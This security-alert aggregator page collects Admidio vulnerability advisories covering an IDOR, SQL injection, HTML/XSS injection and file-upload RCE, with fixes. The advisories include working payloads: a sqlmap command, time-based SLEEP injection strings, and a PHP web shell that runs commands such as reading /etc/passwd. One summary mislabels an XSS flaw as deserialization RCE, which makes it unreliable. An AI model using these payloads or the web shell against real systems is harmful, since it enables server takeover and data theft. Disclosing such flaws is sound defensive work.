Line 47: $getUserUuid = admFuncVariableIsValid($GET, 'useruuid', 'uuid', ...) Line 424: if ($event->possibleToParticipate() || $participants->isLeader($gCurrentUserId))

The condition uses || (OR), meaning if possibleToParticipate() returns true (event is open for participation), ANY user - not just leaders - can specify a different useruuid and register/cancel participation for that user.

The code then operates on $user->getValue('usrid') (the target user from useruuid) rather than the current user.

Impact - Register unwilling users for events (potential harassment/spam) - Cancel other users' event participation - Manipulate event participant counts and comments - If events have participation limits, fill slots with unwanted registrations

Fix For non-leader users, force useruuid to the current user: php if (!$participants->isLeader($gCurrentUserId)) { $getUserUuid = $gCurrentUser->getValue('usruuid'); }

1 / 2
Source: GitHub
First published (updated )
Severity
7.2
SQL Injection
AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Summary

An authenticated SQL injection vulnerability exists in the member assignment data retrieval functionality of Admidio. Any authenticated user with permissions to assign members to a role (such as an administrator) can exploit this vulnerability to execute arbitrary SQL commands. This can lead to a full compromise of the application's database, including reading, modifying, or deleting all data. The vulnerability is present in the latest version, 4.3.16.

Details

The vulnerability is located in the admprogram/modules/groups-roles/membersassignmentdata.php script. This script handles an AJAX request to fetch a list of users for role assignment. The filterroluuid GET parameter is not properly sanitized before being used in a raw SQL query.

File: admprogram/modules/groups-roles/membersassignmentdata.php php // ... // The parameter is retrieved from the GET request without sufficient sanitization for SQL context. $getFilterRoleUuid = admFuncVariableIsValid($GET, 'filterroluuid', 'string'); $getMembersShowAll = admFuncVariableIsValid($GET, 'memshowall', 'bool', array('defaultValue' => false));

// ... $filterRoleCondition = ''; if ($getMembersShowAll) { $getFilterRoleUuid = 0; } else { // show only members of current organization if ($getFilterRoleUuid !== '') { // VULNERABLE CODE: $getFilterRoleUuid is directly concatenated into the query string. $filterRoleCondition = ' AND roluuid = \''.$getFilterRoleUuid . '\''; } }

// ... // The vulnerable $filterRoleCondition is then used inside a subselect. $sqlSubSelect = '(SELECT COUNT() AS countthis FROM '.TBLMEMBERS.' INNER JOIN '.TBLROLES.' ON rolid = memrolid INNER JOIN '.TBLCATEGORIES.' ON catid = rolcatid WHERE memusrid = usrid AND membegin <= \''.DATENOW.'\' AND memend > \''.DATENOW.'\' '.$filterRoleCondition.' AND rolvalid = true AND catnameintern <> \'EVENTS\' AND catorgid = '.$gCurrentOrgId.')'; // ...

As shown above, the value of $getFilterRoleUuid is directly concatenated into the $filterRoleCondition variable, which is then embedded within a larger SQL query ($sqlSubSelect). This allows an attacker to break out of the string literal and inject arbitrary SQL commands.

PoC (Proof of Concept)

Prerequisites: 1. A running instance of Admidio (tested on version 4.3.16). 2. An authenticated user session with permissions to assign members to a role (e.g., the default 'admin' user).

Execution: The vulnerability can be triggered by manipulating the filterroluuid parameter in the request to /admprogram/modules/groups-roles/membersassignmentdata.php. Due to the large number of parameters, the easiest way to reproduce this is by capturing a legitimate request and replaying it with sqlmap.

1. Log in to Admidio as an administrator. 2. Navigate to Groups / Roles. 3. Click the "Assign members" icon for any existing role. 4. Using a web proxy like Burp Suite, intercept the GET request made to /admprogram/modules/groups-roles/membersassignmentdata.php. 5. Save the entire raw request to a text file (e.g., admidiorequest.txt). 6. Run the following sqlmap command to confirm the time-based blind SQL injection:

bash sqlmap -r /path/to/admidiorequest.txt -p filterroluuid --technique=T --dbms=mysql --current-db

Result: sqlmap will successfully identify and exploit the time-based blind SQL injection vulnerability.

--- Parameter: filterroluuid (GET) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: roleuuid=...&filterroluuid=' AND (SELECT 3332 FROM (SELECT(SLEEP(5)))vqnl) AND 'ENdG'='ENdG&... --- [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.0.12 [INFO] fetching current database [INFO] retrieved: admidio current database: 'admidio' This confirms that an attacker can execute arbitrary SQL queries and extract information from the database.

1 / 2
Source: GitHub
First published (updated )
Severity
4.3
XSS
AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N

Summary An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server.

PoC 1. Go to https://www.admidio.org/demoen/admprogram/modules/messages/messages.php 2. Click on Send Private Message 3. In the Message field, enter the following payload Testing<br><h1>HTML</h1><br><h2>Injection</h2>

!image

4. Send the message 5. Open the message again

!image

Impact 1. Data Theft: Stealing sensitive information like cookies, session tokens, and user credentials. 2. Session Hijacking: Gaining unauthorized access to user accounts. 3. Phishing: Tricking users into revealing sensitive information. 4. Website Defacement: Altering the appearance or content of the website. 5. Malware Distribution: Spreading malware to users' devices. 6. Denial of Service (DoS): Overloading the server with malicious requests.

1 / 2
Source: GitHub
First published (updated )
Severity
9.1
Malicious File Upload
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

Description: Remote Code Execution Vulnerability has been identified in the Message module of the Admidio Application, where it is possible to upload a PHP file in the attachment. The uploaded file can be accessed publicly through the URL {admidiobaseurl}/admmyfiles/messagesattachments/{filename}.

The vulnerability is caused due to the lack of file extension verification, allowing malicious files to be uploaded to the server and public availability of the uploaded file.

An attacker can upload a PHP web shell that executes OS commands on the server, compromising the application server.

Note: I am using the docker-compose.yaml file from https://github.com/Admidio/admidio/blob/master/README-Docker.md#docker-compose-usage official documentation.

Impact: An attacker can exploit this flaw to upload a PHP web shell, which can be used to execute arbitrary commands on the server. This can lead to a complete compromise of the application server, allowing the attacker to:

- Execute arbitrary code or commands. - Access, modify, or delete sensitive data. - Install malicious software or scripts. - Gain further access to internal networks. - Disrupt services and applications hosted on the server.

Recommendation:

- Implement strict file extension verification to ensure that only allowed file types (e.g., images, documents) can be uploaded. - Reject any file upload with disallowed or suspicious extensions such as .php, .phtml, .exe, etc.

Steps to Reproduce: 1. As a member user, go to write an email message. 2. Upload a PHP file in the Attachment, containing the following content: <?php $command = isset($GET['command']) ? $GET['command'] : ''; $output = []; $returnvar = 0; exec($command, $output, $returnvar); echo '<h1>Exploiting RCE</h1>'; echo 'Command: '.$command; echo '\n<pre>'; echo implode("\n", $output); echo '</pre>'; ?> 3. Send the email. 4. In the message history go to the sent message. 5. Download the file, to get the uploaded file name. 6. Go to the following URL: {admidiobaseurl}/admmyfiles/messagesattachments/{filename}?command=cat+/etc/passwd 7. The server's passwd file would be returned in the response.

Proof Of Concept:

!image

Figure 1: Code of messagessend.php, not having file extension verification.

!image

Figure 2: Uploading Webshell as attachment.

!image

Figure 3: Download the uploaded file to get the uploaded file name.

!image

Figure 4: Uploaded File name.

!image

Figure 5: RCE via web shell.

!image

Figure 6: RCE via Webshell.

1 / 2
Source: GitHub
First published (updated )
Severity
10
SQL Injection
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Description: An SQL Injection has been identified in the /admprogram/modules/ecards/ecardsend.php source file of the Admidio Application. The SQL Injection results in a compromise of the application's database. The value of ecardrecipients POST parameter is being directly concatenated with the SQL query in the source code causing the SQL Injection.

The SQL Injection can be exploited by a member user, using blind condition-based, time-based, and Out of band interaction SQL Injection payloads. I successfully exploited SQL Injections by causing Time Delays. Advancing the payload, I was able to exfiltrate data from the database based on trial and error conditions and step-wise enumerating the characters of the database name. This was done as a POC of SQL Injection. An attacker could simply drop the database by providing a single payload, steal data, and potentially update the database according to their will.

Impact: SQL injection (SQLi) vulnerabilities can have serious consequences for the security of a web application and its underlying database. Attackers can use SQLi to access sensitive data, and modify, delete, or add data to the database. SQLi can also be potentially used to perform RCE.

Remediation: Use parameterized queries or prepared statements instead of concatenating user input directly into SQL queries. Parameterized queries ensure that user input is treated as data and not executable queries. OR Sanitize the input before including it in the SQL Query.

Steps to Reproduce: - Intercept the POST request to /admprogram/modules/ecards/ecardsend.php, which is used to send photo as greeting card. - Change the value of ecardrecipients%5B%5D POST parameter to 2%2bsleep(10). - Sending the request will cause a time delay.

Proof Of Concept:

!image Figure 1: Code Vulnerable to SQL Injection

!image Figure 2: Code Vulnerable to SQL Injection

!image Figure 3: SQLi to trigger time delay

!image Figure 4: Data Exfiltration via Condition-based Time Delays

1 / 2
Source: GitHub
First published (updated )
Severity
6.1
XSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Admidio v4.2.12 and below is vulnerable to Cross Site Scripting (XSS).

First published (updated )
Severity
6.5
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Insufficient Session Expiration in GitHub repository admidio/admidio prior to 4.2.11.

1 / 2
First published (updated )
Severity
7.2
Malicious File Upload
AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L

Unrestricted Upload of File with Dangerous Type in GitHub repository admidio/admidio prior to 4.2.10.

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203